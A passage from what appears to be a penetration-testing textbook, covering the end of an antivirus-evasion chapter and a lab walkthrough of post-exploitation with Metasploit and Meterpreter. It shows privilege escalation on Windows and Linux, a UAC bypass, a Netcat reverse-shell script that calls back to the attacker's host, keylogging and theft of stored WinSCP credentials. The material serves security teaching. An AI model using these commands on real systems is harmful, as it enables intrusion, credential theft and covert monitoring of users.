wildly out of date. Pentesters and researchers are constantly coming up with
new techniques to sneak past antivirus detection, and antivirus vendors are
always adding new signatures and heuristics to catch them.
274 Chapter 12
We looked at ways to use Metasploit to encode and embed payloads
in legitimate executables. When we found that these techniques weren’t
enough to evade Microsoft Security Essentials, we turned to techniques
beyond Metasploit. We built a custom executable template and found that
we were able to improve our results by combining techniques.
We were finally able to reach our goal of bypassing Microsoft Security
Essentials using Hyperion. Though we never reached a 0 percent detection
rate, we were able to bypass Microsoft Security Essentials as well as several
other top antivirus solutions. We also looked at another tool, Veil-Evasion,
which uses VirtualAlloc injection combined with encryption for even better
evasion.
Having looked at a lot of ways to get onto systems, even ones without
readily apparent vulnerabilities, we’ll now turn our attention to what we can
do once we penetrate a system, as we enter the post-exploitation stage of
pentesting.
Bypassing Antivirus Applications 275
13
Pos t E x ploitat ion
We’ve gained access to our target systems, so our penetration test is over, right? We can tell our client that
we got a shell on their systems.
But so what? Why would the client care?
In the post-exploitation phase, we will look at information gathering
on the exploited systems, privilege escalation, and moving from system to
system. Perhaps we’ll find that we can access sensitive data stored on the
exploited system or that we have network access to additional systems that
we can use to gain further access to company data. Maybe the exploited
system is part of a domain, and we can use it to access other systems on the
domain. These are just a few of the potential avenues open to us in post
exploitation.
Post exploitation is arguably the most important way to get a clear picture of a client’s security posture. For example, in Chapter 9, I mentioned a
pentest in which I used access to a decommissioned Windows 2000 domain
controller to gain complete administrative control over a domain. If I hadn’t
used post-exploitation techniques, I might have instead concluded that the
Windows 2000 system stored no sensitive information and that it wasn’t
connected to other systems in a domain. My pentest would not have been
nearly as successful, and my client wouldn’t have gotten as good of a picture
of their vulnerabilities, especially when it came to password policies.
This chapter will cover the basics of post exploitation. As you move
beyond this book and increase your skills as a pentester, you should spend
a good deal of time on post exploitation. Solid post-exploitation skills differentiate good pentesters from the truly great.
Now let’s look at some of our post-exploitation options in Metasploit.
Meterpreter
We discussed Meterpreter, Metasploit’s custom payload, in Chapter 8. Now
let’s dig deeper and look at some of Meterpreter’s functionality.
We’ll begin post exploitation by opening a Meterpreter session on each
of our target systems. As you can see in Listing 13-1, I have a session on the
Windows XP target from the MS08-067 exploit. On the Windows 7 target,
I used a trojan executable like those we used in the previous chapter. On
the Linux target, I used the TikiWiki PHP vulnerability we exploited in
Chapter 8. You can also log in to the Linux target via SSH using either the
password for georgia we cracked in Chapter 9 (password) or the SSH public
key we added in Chapter 8 using the open NFS share.
msf > sessions -l
Active sessions
===============
Id
-1
Type
---meterpreter x86/win32
Information
----------NT AUTHORITY\SYSTEM @ BOOKXP
2
meterpreter x86/win32
Book-Win7\Georgia Weidman @ Book-Win7
3
meterpreter php/php
www-data (33) @ ubuntu
Connection
---------192.168.20.9:4444 ->
192.168.20.10:1104
(192.168.20.10)
192.168.20.9:2345 ->
192.168.20.12:49264
(192.168.20.12)
192.168.20.9:4444 ->
192.168.20.11:48308
(192.168.20.11)
Listing 13-1: Open Metasploit sessions on our targets
Start by interacting with your Windows XP session as shown here.
msf post(enum_logged_on_users) > sessions -i 1
We’ve already seen a couple of Meterpreter commands throughout the
book. Namely, in Chapter 9, we used hashdump to get direct access to local
password hashes in on “Offline Password Attacks” on page 203. To see a
list of available Meterpreter commands, enter help in the Meterpreter console. For more details about a specific command, enter command -h.
278 Chapter 13
Using the upload Command
Perhaps nothing is quite so annoying on a pentest as finding yourself on a
Windows machine without access to utilities such as wget and curl to pull
down files from a web server. In Chapter 8, we saw a way to bypass this
problem with TFTP, but Meterpreter easily solves the problem for us. With
a simple command, help upload, we can upload files to the target, as shown
in Listing 13-2.
meterpreter > help upload
Usage: upload [options] src1 src2 src3 ... destination
Uploads local files and directories to the remote machine.
OPTIONS:
-h
-r
Help banner.
Upload recursively.
Listing 13-2: Meterpreter help command
This help information tells us that we can use upload to copy files from
our Kali system to the Windows XP target.
For example, here’s how to upload Netcat for Windows:
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\
[*] uploaded
: /usr/share/windows-binaries/nc.exe -> C:\\nc.exe
Note
Remember to escape the backslash characters in the path with a second backslash. Also
remember that if you upload anything to a target during a pentest or otherwise change
the target system, record your changes so you can undo them before the engagement
is over. The last thing you want to do is leave an environment more vulnerable than
when you found it.
getuid
Another useful Meterpreter command is getuid. This command will tell you
the name of the System user running Meterpreter. Typically, Meterpreter runs
with the privileges of the exploited process or user.
For example, when we exploit an SMB server with the MS08-067 exploit,
we’re running on the target with the privileges of the SMB server, namely
the Windows System account, as shown here.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
On the Windows 7 target, we social-engineered the user into running a
trojaned program that connected back to Metasploit, so Meterpreter is running as the user Georgia Weidman.
Post Exploitation
279
Other Meterpreter Commands
Before moving on, take some time to work with additional Meterpreter
commands. You’ll find many useful commands for local information gathering, remote control, and even spying on local users, such as keylogging
and turning on a webcam from a Meterpreter session.
Meterpreter Scripts
In addition to Meterpreter commands, you can also run Meterpreter scripts
from a Meterpreter console. The scripts currently available can be found
in Kali at /usr/share/metasploit-framework/scripts/meterpreter. These scripts are
written in Ruby, and you can write your own and submit them for inclusion
in the framework. To use a Meterpreter script, enter run <script name>. Use
the -h flag to see help information for a script.
When exploiting Internet Explorer in Chapter 10, we used the
AutoRunScript option to automatically run the migrate script to spawn a new
process and migrate into it before the browser crashed. We can run this script
directly inside Meterpreter as well. For example, entering run migrate -h, as
shown in Listing 13-3, gives us information on the migrate Meterpreter
script.
meterpreter > run migrate -h
OPTIONS:
-f
Launch a process and migrate into the new process
-h
Help menu.
-k
Kill original process.
-n <opt> Migrate into the first process with this executable name
(explorer.exe)
-p <opt> PID to migrate to.
Listing 13-3: Migrate script help information
Because we’re not racing to beat a session before it closes, we have a
few different options for which process to migrate to. We can migrate to a
process by name using the -n option. For example, to migrate to the first
instance of explorer.exe that Meterpreter encounters in the process list, we
can use -n explorer.exe.
You can also migrate to a process by using its process ID (PID) with the
-p option. Use Meterpreter’s ps command to see a list of running processes,
as shown in Listing 13-4.
280 Chapter 13
meterpreter > ps
Process List
============
PID
PPID
-----0
0
4
0
--snip-1144 1712
--snip-1204 1100
Name
---[System Process]
System
Arch
----
User
----
x86
Session
------4294967295
0
explorer.exe
x86
0
BOOKXP\georgia
wscntfy.exe
x86
0
BOOKXP\georgia
Path
----
NT AUTHORITY\SYSTEM
C:\WINDOWS\Explorer.EXE
Listing 13-4: Running process list
Explorer.exe is a solid choice. Choose PID 1144 for explorer.exe, and run the
Meterpreter migrate script as shown in Listing 13-5.
meterpreter > run migrate -p 1144
[*] Migrating from 1100 to 1144...
[*] Migration completed successfully.
meterpreter > getuid
Server username: BOOKXP\georgia
Listing 13-5: Running the migrate script
Meterpreter successfully migrates into the explorer.exe process. Now if
the SMB server happens to become unstable or die, our Meterpreter session
is safe.
If you ran the getuid command again, you would see that we are no longer running as the System user but as user georgia. This makes sense because
this process belongs to the logged-in user georgia. By moving into this process, we’ve effectively dropped our privileges down to user georgia.
Let’s stay logged in as user georgia on the XP target and look at some
ways to elevate our privileges to System on Windows targets and root on the
Linux target through local privilege-escalation attacks.
Metasploit Post-Exploitation Modules
So far we’ve used Metasploit modules for information gathering, vulnerability identification, and exploitation. It should come as no surprise that the
framework has a plethora of useful modules for the post-exploitation phase
as well. Metasploit’s post directory contains modules for local information
gathering, remote control, privilege escalation, and so on, which span multiple platforms.
Post Exploitation
281
For example, consider the module post/windows/gather/enum_logged_
on_users. As shown in Listing 13-6, this module will show us which users
are currently logged on to the target system. Put your session in the background (with ctrl -Z or background) to return to the main Msfconsole
prompt.
msf > use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users) > show options
Module options (post/windows/gather/enum_logged_on_users):
Name
Current Setting Required Description
------------------ -------- ----------CURRENT true
yes
Enumerate currently logged on users
RECENT true
yes
Enumerate Recently logged on users
uSESSION
yes
The session to run this module on.
msf post(enum_logged_on_users) > set SESSION 1
SESSION => 1
msf post(enum_logged_on_users) > exploit
[*] Running against session 1
Current Logged Users
====================
SID
User
-----S-1-5-21-299502267-308236825-682003330-1003 BOOKXP\georgia
[*] Results saved in: /root/.msf4/loot/20140324121217_default_192.168.20.10_host.users.activ
_791806.txt v
Recently Logged Users
=====================
SID
--S-1-5-18
S-1-5-19
S-1-5-20
S-1-5-21-299502267-308236825-682003330-1003
Profile Path
-----------%systemroot%\system32\config\systemprofile
%SystemDrive%\Documents and Settings\LocalService
%SystemDrive%\Documents and Settings\NetworkService
%SystemDrive%\Documents and Settings\georgia
Listing 13-6: Running a Metasploit post module
We use post modules as we do all Metasploit modules: We set the relevant options, and then enter exploit to run the module. However, in the
case of post-exploitation modules, instead of setting an RHOST or SRVHOST, we
need to tell Metasploit the Session ID we want to run the post-exploitation
module against u. We then run the module against Session 1, the Windows
XP target.
282 Chapter 13
The module returns data telling us the user georgia is currently
logged in. Metasploit automatically saves the output to a file /root/​.msf4/
loot/20140324121217_default_192.168.20.10_host.users.activ_791806.txt v.
Railgun
Railgun is an extension for Meterpreter that allows direct access to Windows
APIs. It can be used inside post-exploitation modules for Meterpreter as well
as the Ruby shell (irb) in a Meterpreter session. For example, we can check
if the session is running as an administrative user by directly accessing the
IsUserAnAdmin function of the shell32 Windows DLL, as shown here. Be sure to
bring a session to the foreground with sessions -i <session id> first.
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "Error Message"=>"The operation completed successfully.", "return"=>true}
First, we drop into a Ruby shell with the command irb. Note that the
client variable holds the Meterpreter client. Next we enter client.railgun
.shell32.IsUserAnAdmin to tell the Ruby interpreter to use Railgun on the current Meterpreter session and access the IsUserAdmin function of shell32.dll. (For
additional Railgun examples, check out Metasploit post modules such as
windows/gather/reverse_lookup.rb and windows/manage/download_exec.rb, which
also leverage this functionality.) Enter exit to drop out of the Ruby interpreter
and return to Meterpreter.
Local Privilege Escalation
In the following sections, we’ll explore examples of local privilege escalation,
which involves running exploits to gain additional control of the system
after exploitation.
Just like network software and client-side software, privileged local
processes can be subject to exploitable security issues. Some of your attacks
may not result in gaining the privileges you would like. Gaining command
execution through a website, compromising a user account without administrative rights, or exploiting a listening service with limited privileges can
all lead to system access, but you may find yourself still working as a limited
user. To get the privileges we want, we will need to exploit further issues.
getsystem on Windows
Meterpreter’s getsystem command automates trying a series of known local
privilege-escalation exploits against the target. The command’s options are
shown in Listing 13-7.
Post Exploitation
283
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
Listing 13-7: getsystem help
As shown here, running getsystem with no arguments will run a series
of local exploits until one succeeds or all known exploits are exhausted. To
run a particular exploit, use the -t option followed by the exploit number.
Here we run getsystem on our Windows XP target with no arguments.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
As you can see, Meterpreter gained system privileges with the first
exploit it tried. With one command, we are able to elevate our privileges
from georgia to System.
Local Escalation Module for Windows
Local exploit modules in Metasploit allow you to run an exploit on an
open session to gain additional access. The local privilege-escalation
module exploit/windows/local/ms11_080_afdjoinleaf in Listing 13-8 exploits
a (now-patched) flaw in the Afdjoinleaf function of the afd.sys Windows
driver. Like post-exploitation modules, use the SESSION option to denote
which open session the exploit should be run against. We’ll run the module
against our Windows XP session. Unlike post modules, local exploits are
exploits, so we’ll need to set a payload. If it succeeds, our exploit will open a
new session with System privileges. In your Windows XP Meterpreter session, run the command rev2self to drop back down to the user georgia
before using this alternative privilege-escalation technique.
msf post(enum_logged_on_users) > use exploit/windows/local/ms11_080_afdjoinleaf
msf exploit(ms11_080_afdjoinleaf) > show options
Module options (exploit/windows/local/ms11_080_afdjoinleaf):
Name
Current Setting Required Description
------------------ -------- ----------SESSION
yes
The session to run this module on.
284 Chapter 13
--snip-msf exploit(ms11_080_afdjoinleaf) > set SESSION 1
SESSION => 1
msf exploit(ms11_080_afdjoinleaf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms11_080_afdjoinleaf) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(ms11_080_afdjoinleaf) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Running against Windows XP SP2 / SP3
--snip-[*] Writing 290 bytes at address 0x00f70000
[*] Sending stage (751104 bytes) to 192.168.20.10
[*] Restoring the original token...
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1108) at
2015-08-14 01:59:46 -0400
meterpreter >
Listing 13-8: Metasploit local exploit
After you enter exploit, Metasploit runs the exploit in our Windows XP
session. If it succeeds, you should receive another Meterpreter session. If
you run getuid on this new session, you should see that you’ve once again
obtained System privileges.
Note
Remember, to succeed, local privilege-escalation attacks rely on a flaw such as a
missing patch or security misconfiguration. A fully updated and locked-down system
would not be vulnerable to the MS11-08 exploit because a vendor patch was released
in 2011.
Bypassing UAC on Windows
Now let’s see how to escalate our privileges on our more secure Windows 7
target, which has additional security features including user account control
(UAC). Applications running on Windows Vista and higher are limited to
using regular user privileges. If an application needs to use administrative privileges, an administrative user has to approve the elevation. (You’ve
probably seen the warning notice from UAC when an application wants to
make changes.)
Because we gained this session by having user Georgia Weidman run
a malicious binary, the Meterpreter session currently has the privileges
of Georgia Weidman. Try using getsystem against this target, as shown in
Listing 13-9.
msf exploit(ms11_080_afdjoinleaf) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Post Exploitation
285
Server username: Book-Win7\Georgia Weidman
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
Listing 13-9: getsystem fails on Windows 7
As you can see, running getsystem against this target fails and gives an
error message. Perhaps this system is fully patched and hardened to the
point where none of the exploitation techniques in getsystem will work.
But as it turns out, our Windows 7 target has not been patched since
installation; UAC is stopping getsystem from working properly.
As with any computer security control, researchers have developed multiple techniques to bypass the UAC control. One such technique is included
in Metasploit in the local exploit windows/local/bypassuac. Background
the session and run this exploit on your Windows 7 session, as shown in
Listing 13-10. Use the exploit module, set the SESSION option, and so on.
msf exploit(ms11_080_afdjoinleaf) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > show options
Module options (exploit/windows/local/bypassuac):
Name
Current Setting Required Description
------------------ -------- ----------SESSION
yes
The session to run this module
msf exploit(bypassuac) > set SESSION 2
SESSION => 2
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] UAC is Enabled, checking level...
--snip-[*] Uploaded the agent to the filesystem....
[*] Sending stage (751104 bytes) to 192.168.20.12
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.12:49265) at
2015-08-14 02:17:05 -0400
[-] Exploit failed: Rex::TimeoutError Operation timed out. u
meterpreter > getuid
Server username: Book-Win7\Georgia Weidman
Listing 13-10: Using a module to bypass the UAC control
The module uses a trusted publisher certificate through process injection to bypass the UAC controls. As you can see from the results of the
getuid command, though our new session is still running as user Georgia
Weidman, we’re no longer restricted by UAC. If it was successful you will
again be presented with a new session. Don’t worry if you see the line at u.
As long as the new Meterpreter session opens, the attack was successful.
As shown next, having gotten UAC out of the way, getsystem has no
trouble gaining system privileges.
286 Chapter 13
meterpreter > getsystem
...got system (via technique 1).
Udev Privilege Escalation on Linux
We have yet to try privilege escalation on our Linux target. Let’s mix things
up a bit and use public exploit code instead of Metasploit to perform a local
privilege-escalation attack on Linux.
We have two ways to interact with our Linux target: via SSH and by
using the TikiWiki to gain a Meterpreter shell. The Linux Meterpreter has
fewer available commands than Windows Meterpreter, but in both cases we
use the shell command to drop out of Meterpreter and into a regular command shell, as shown in Listing 13-11.
meterpreter > shell
Process 13857 created.
Channel 0 created.
whoami
www-data
Listing 13-11: Dropping to a shell in Meterpreter
We see that our TikiWiki exploit gained us a session as the user
www-data, a limited account for the web server, but we have a long way to
get to root. We have also gained a Bash shell as the user georgia through
SSH in Chapter 8 with more privileges than www-data, but we’re still not
the coveted root.
Finding a Vulnerability
We need to find a local privilege-escalation vulnerability to exploit. First, we
need a bit of information about the local system, such as the version of the
installed kernel and the Ubuntu version. You can find out the Linux kernel
version with the command uname -a and the Ubuntu release version with the
command lsb_release -a, as shown in Listing 13-12.
uname -a
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 GNU/Linux
lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 8.10
Release: 8.10
Codename: intrepid
Listing 13-12: Gathering local information
The Linux target is running Linux kernel 2.6.27-2 and Ubuntu 8.10,
codename Intrepid. This Linux system is a bit out of date and is vulnerable
Post Exploitation
287
to multiple known privilege-escalation issues. We’ll focus on an issue in
udev, the device manager for the Linux kernel that is in charge of loading
device drivers, or software that facilitates control of a device.
Vulnerability CVE-2009-1185 describes an issue in udev where the
daemon, which runs with root privileges, fails to check whether requests to
load drivers originate from the kernel. Processes in user space, such as ones
that a user starts, can send messages to udev and convince it to run code
with root privileges.
According to the SecurityFocus.com entry for this vulnerability, Ubuntu
8.10 is an affected platform, and further digging reveals that udev versions
141 and earlier are affected by this issue. We can check the udev version on
our target with the command udevadm --version, but we can’t run the command with the privileges afforded by www-data. Instead, we need to run it
from our SSH shell as shown here.
[email protected]:~$ udevadm --version
124
The udev version on our target, 124, is earlier than 141, which tells us
that our Linux target is vulnerable.
Finding an Exploit
Kali Linux includes a local repository of public exploit code from Exploitdb​
.com at /usr/share/exploitdb, which includes a utility called searchsploit that
we can use to search for useful code. For example, Listing 13-13 shows the
results of a search for exploits related to udev.
[email protected]:~# /usr/share/exploitdb/searchsploit udev
Description
---------------------------------------------------------------------Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit
Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit
Linux udev Netlink Local Privilege Escalation
Path
---------------------/linux/local/8478.sh
/linux/local/8572.c
/linux/local/21848.rb
Listing 13-13: Searching the Exploitdb repository
There appear to be multiple public exploits for this issue. Let’s use the
second exploit, /usr/share/exploitdb/platforms/linux/local/8572.c.
Note
Always be sure that you fully understand what public exploit code does before running
it against a target. Additionally, there is always a chance that a public exploit won’t
run reliably on the target. If possible, set up a lab machine, and test the quality of the
exploit before you try it on the client target.
One of the great things about this exploit is that it’s well commented
and provides detailed usage information. Listing 13-14 shows an excerpt
from its C code, which includes usage details.
288 Chapter 13
* Usage:
*
Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*
usually is the udevd PID minus 1) as argv[1].
*
The exploit will execute /tmp/run as root so throw whatever payload you
*
want in there.
Listing 13-14: Udev exploit usage information
We learn that we need to pass the PID of the udev netlink socket as an
argument to our exploit. The usage information tells us to look for this
value in /proc/net/netlink, usually as udev PID minus 1. We also see that the
exploit will run whatever code it finds in the file /tmp/run as root, so we
need to put some code there.
Copying and Compiling the Exploit on the Target
First we need to copy the exploit to our target and compile it so that it can
run. Luckily, the GCC C compiler is preinstalled on most Linux distributions, so you can often compile local exploit code directly on the target. To
find out if GCC is installed, enter gcc as shown here.
[email protected]:~$ gcc
gcc: no input files
As you can see, GCC complains that it’s not been given any input, but
this tells us that GCC is present. Now to copy our exploit code to the Linux
target. The Linux wget command lets us use the command line to pull a
file down from a web server, so let’s copy the C code to our Kali Linux web
server as shown here. Make sure the apache2 webserver is running in Kali.
[email protected]:~# cp /usr/share/exploitdb/platforms/linux/local/8572.c /var/www
Now switch to your SSH shell, and download the file with wget, as shown
in Listing 13-15.
[email protected]:~$ wget http://192.168.20.9/8572.c
--2015-08-14 14:30:51-- http://192.168.20.9/8572.c
Connecting to 10.0.1.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2768 (2.7K) [text/x-csrc]
Saving to: `8572.c'
100%[======================================>] 2,768
--.-K/s
in 0s
2015-08-14 14:30:52 (271 MB/s) - `8572.c' saved [2768/2768]
Listing 13-15: Using wget to download a file
Now compile the exploit code with GCC on the Linux target as shown
here. Use the -o flag to specify an output file name for your compiled code.
Post Exploitation
289
[email protected]:~$ gcc -o exploit 8572.c
Now to find that udev netlink socket PID mentioned in the exploit’s
usage information (Listing 13-14) for our argument. The usage information noted that the PID we need is listed in /proc/net/netlink. cat out the file,
as shown in Listing 13-16.
[email protected]:~$ cat /proc/net/netlink
sk
Eth Pid
Groups
Rmem
Wmem
f7a90e00 0
5574
00000111 0
0
da714400 0
6476
00000001 0
0
da714c00 0
4200780 00000000 0
0
--snip-f7842e00 15 2468
00000001 0
0
f75d5c00 16 0
00000000 0
0
f780f600 18 0
00000000 0
0
Dump
00000000
00000000
00000000
Locks
2
2
2
00000000 2
00000000 2
00000000 2
Listing 13-16: The /proc/net/netlink file
There’s more than one PID listed, but we know that the PID we need is
usually the PID of the udev daemon minus 1. Look at the udev process with
the ps aux command, as shown here.
[email protected]:~$ ps aux | grep udev
root
2469 0.0 0.0
2452
980 ?
georgia
3751 0.0 0.0
3236
792 pts/1
S<s
S+
02:27
14:36
0:00 /sbin/udevd --daemon
0:00 grep udev
The udev daemon’s PID is 2469. One of the PIDs from Listing 13-16 is
2468 (udev’s PID minus 1). Based on the exploit’s help information, this
is the value we need. This value is going to change between reboots of the
Ubuntu target, so make sure you run these commands in your own lab to
find the correct value.
Adding Code to the /tmp/run File
The last thing we need is some code to be run as root in the file /tmp/run.
Luckily, we also have Netcat installed on our Ubuntu system by default, so
we can create a simple Bash script to connect back to a listener on our Kali
system, as discussed in Chapter 2. Here’s the script.
[email protected]:~$ cat /tmp/run
#!/bin/bash
nc 192.168.20.9 12345 -e /bin/bash
Before running our exploit, we need to set up a listener on our Kali system to catch the incoming Netcat shell.
[email protected]:~# nc -lvp 12345
listening on [any] 12345 ...
290 Chapter 13
Finally, we’re ready to run our compiled exploit. Remember to pass the
PID of the udev netlink socket we found earlier as an argument.
[email protected]:~$ ./exploit 2468
Nothing seems to happen on the Linux target, but if you turn back to
the Netcat listener on Kali, we have a connection. The whoami command tells
us we now have root privileges, as shown in Listing 13-17.
[email protected]:~# nc -lvp 12345
listening on [any] 12345 ...
192.168.20.11: inverse host lookup failed: Unknown server error : Connection
timed out
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.11] 33191
whoami
root
Listing 13-17: Gaining root privileges
We’ve successfully escalated our privileges using a public exploit.
Local Information Gathering
Once we gain access to a system we should see if any potentially sensitive
information is present, such as installed software that stores passwords in
plaintext or using a weak hashing algorithm, proprietary data or source
code, customer credit card information, or the CEO’s email account. These
are all useful bits of information to present in the final report to the customer. Additionally, any information we find may help us break into other
systems in the network that hold even greater spoils.
We will look at moving from system to system later in this chapter, but for
now let’s look at a few interesting ways to find information on the local system.
Searching for Files
We can tell Meterpreter to search for interesting files. For example in
Listing 13-18, I tell Meterpreter to look for any filenames that contain the
name password.
meterpreter > search -f *password*
Found 8 results...
c:\\WINDOWS\Help\password.chm (21891 bytes)
c:\\xampp\passwords.txt (362 bytes)
c:\\xampp\php\PEAR\Zend\Dojo\Form\Element\PasswordTextBox.php (1446 bytes)
c:\\xampp\php\PEAR\Zend\Dojo\View\Helper\PasswordTextBox.php (1869 bytes)
c:\\xampp\php\PEAR\Zend\Form\Element\Password.php (2383 bytes)
c:\\xampp\php\PEAR\Zend\View\Helper\FormPassword.php (2942 bytes)
c:\\xampp\phpMyAdmin\user_password.php (4622 bytes)
c:\\xampp\phpMyAdmin\libraries\display_change_password.lib.php (3467 bytes)
Listing 13-18: Using Meterpreter to look for files
Post Exploitation
291
Keylogging
Another way to gather information is to let the logged-in user give it to you,
so to speak. Meterpreter has a keylogger we can use to listen for keystrokes.
Perhaps the user is logging in to websites or other systems on the network
while our Meterpreter session is active. Start the keylogger on the Windows XP
Meterpreter session by entering keyscan_start, as shown here.
meterpreter > keyscan_start
Starting the keystroke sniffer...
Note
You will capture keystrokes only in your current context. For my example, I used my
original Windows XP session where I am the user georgia in the explorer.exe process, and thus can sniff georgia’s keystrokes. Another interesting idea is to migrate
into the winlogon process, where you will see only login information that is typed—
certainly useful information.
Now switch to Windows XP, and type something. In my example I typed
to open the Run dialog. Then I entered notepad.exe to start the
Notepad program and typed hi georgia into Notepad.
To see any keystrokes the keylogger has logged, enter keyscan_dump as
shown here. As you can see, all of the keystrokes I typed were logged.
ctrl -R
meterpreter > keyscan_dump
Dumping captured keystrokes...
<LWin> notepad.exe <Return> hi georgia <Return>
To stop the keylogger, enter keyscan_stop in Meterpreter as shown here.
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
Gathering Credentials
In Chapter 9, we worked with password hashes from Windows, Linux, and
the FileZilla FTP server, but users may have other stored credentials on
their local system. Metasploit has several post modules for gathering passwords for specific software in /usr/share/metasploit-framework/modules/post/
windows/gather/credentials. For our example, we will look at stealing stored
credentials from WinSCP, a secure copy tool for Windows.
As shown in Figure 13-1, open WinSCP, set the File protocol to SCP, the
Host name to the IP address of the Ubuntu target, and the credentials to
georgia:password. Click Save As under the login information.
292 Chapter 13
Figure 13-1: Connecting with WinSCP
Note
Like some of the other tools used in this book, the WinSCP GUI may be updated in the
future, so your version may not look exactly like this.
You will be prompted for a session name, as shown in Figure 13-2. Check
the Save password box before clicking OK. Even WinSCP warns you that
saving passwords is a bad idea.
Figure 13-2: Saving credentials in WinSCP
Post Exploitation
293
Now switch back to Kali Linux, and use the module post/windows/gather/
credentials/winscp, as shown in Listing 13-19. Because this is a post module,
the only option you will need to supply is the ID of the Windows XP session.
msf > use post/windows/gather/credentials/winscp
msf post(winscp) > show options
Module options (post/windows/gather/credentials/winscp):
Name
---SESSION
Current Setting
---------------
Required
-------yes
Description
----------The session to run this module on.
msf post(winscp) > set session 1
session => 1
msf post(winscp) > exploit
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] Host: 192.168.20.9 Port: 22 Protocol: SSH
[*] Done!
[*] Post module execution completed
Username: georgia
Password: password u
Listing 13-19: Stealing stored credentials from WinSCP
As shown in Listing 13-19, the module discovers our saved credentials u.
Based on the software your pentesting targets are running, there may be
other credential-gathering targets that will come in handy in the field.
net Commands
The Windows net command will allow us to view and edit network information. Using various options, we can gain valuable information. Drop
to a Windows command shell using the Meterpreter command shell, as
shown here.
meterpreter > shell
--snip-Copyright (c) 2009 Microsoft Corporation.
C:\Windows\system32>
All rights reserved.
The command net users will show us all local users. Tacking on the
word /domain at the end of this and many net commands will show information about the domain rather than the local system, but because our targets
are not joined to a domain, we’ll stick with net users.
C:\Windows\system32> net users
net users
User accounts for \\
-----------------------------------------------------------------------------Administrator
georgia
secret
Guest
294 Chapter 13
We can also see the members of a group with the command net
localgroup group as shown in Listing 13-20.
C:\Windows\system32> net localgroup Administrators
net localgroup Administrators
Alias name
Administrators
Comment
Administrators have complete and unrestricted access to the computer/domain
Members
----------------------------------------------------------------------------------------------Administrator
georgia
secret
The command completed successfully.
Listing 13-20: Viewing local administrators with net commands
To exit the shell and drop back into Meterpreter, type exit.
These are just a couple of examples of useful net commands. We’ll look
at using net commands to add a user later in this chapter.
Another Way In
In Chapter 5, we used Nmap to run a UDP scan. By definition, UDP scans
are not as exact as TCP scans. For example, port 69/UDP on the Windows XP
target, traditionally the port for TFTP, returned open|filtered in our UDP
Nmap scan. Because our scan did not receive any response, it was unclear if
anything was listening there at all. Short of fuzzing the TFTP server and possibly crashing it, it would be difficult to ascertain which TFTP software, if any,
is running. Now that we have access to the system, we can further investigate
running software for any vulnerabilities we may have missed.
Note
Earlier in the chapter we used the Meterpreter ps command to view all running processes on the Windows XP target. One of these is 3CTftpSvc.exe, an older version
of the 3Com TFTP service that is subject to a buffer overflow condition in the TFTP
long transport mode. (We’ll write an exploit for this issue by hand in Chapter 19, but
there’s a Metasploit module for this issue as well.) Though it would be difficult for an
attacker to identify this issue remotely, the software is still vulnerable, and we should
include it in our pentest report.
It may be that you won’t discover a network-facing vulnerability until
after you have gained access to the system. Without sending random TFTP
input to the server and analyzing the results, it would be difficult for us to
find this issue.
Checking Bash History
One place to look for potentially interesting information on a Linux system
is in a user’s Bash history. When a Bash shell is closed, the commands that
have been executed are written to a file called .bash_history in the user’s
Post Exploitation
295
home directory. A perhaps rather contrived example where the user’s password is saved in plaintext in the Bash history file is shown here.
[email protected]:~$ cat .bash_history
my password is password
--snip--
Lateral Movement
Once we have access to one system in a networked environment, can we use
it to access additional systems and their sensitive data? If our exploited system is a member of a domain, we can certainly try to compromise a domain
account or ideally get domain administrator access so that we can log in to
and manage all systems in the domain.
But even if you can’t get control of a domain, you may still be able to
access the systems in that domain if they were all installed from the same
system install image with the same local administrator password that has
never been changed. If we can crack this password for one machine, we may
be able to log in to many machines in the environment without domain
access. Also, if a user has an account on multiple systems, he or she may
use the same password on each system, which might allow us to log in with
credentials we found elsewhere in the environment. (Good password policies help prevent these kinds of vulnerabilities, but passwords are often the
weakest link, even in high-security environments.)
Let’s look at a few techniques for turning access to one system into
access to many.
PSExec
The PSExec technique originated in the Sysinternals Windows management tool set in the late 1990s. The utility worked by using valid credentials
to connect to the ADMIN$ share on the Windows XP SMB server. PSExec
uploads a Windows service executable to the ADMIN$ share and then connects to the Windows Service Control Manager using remote procedure
call (RPC) to start the executable service. The service then sets up an SMB
named pipe to send commands and remotely control the target system.
The Metasploit module exploit/windows/smb/psexec implements a very
similar technique. The module requires a running SMB server on the target and credentials that give access to the ADMIN$ share.
In Chapter 9, we cracked the password hashes for users on our
Windows XP target. You can probably imagine using the found credentials and PSExec to gain access to additional systems. Use the credentials
georgia:password with the PSExec module, as shown in Listing 13-21.
msf > use exploit/windows/smb/psexec
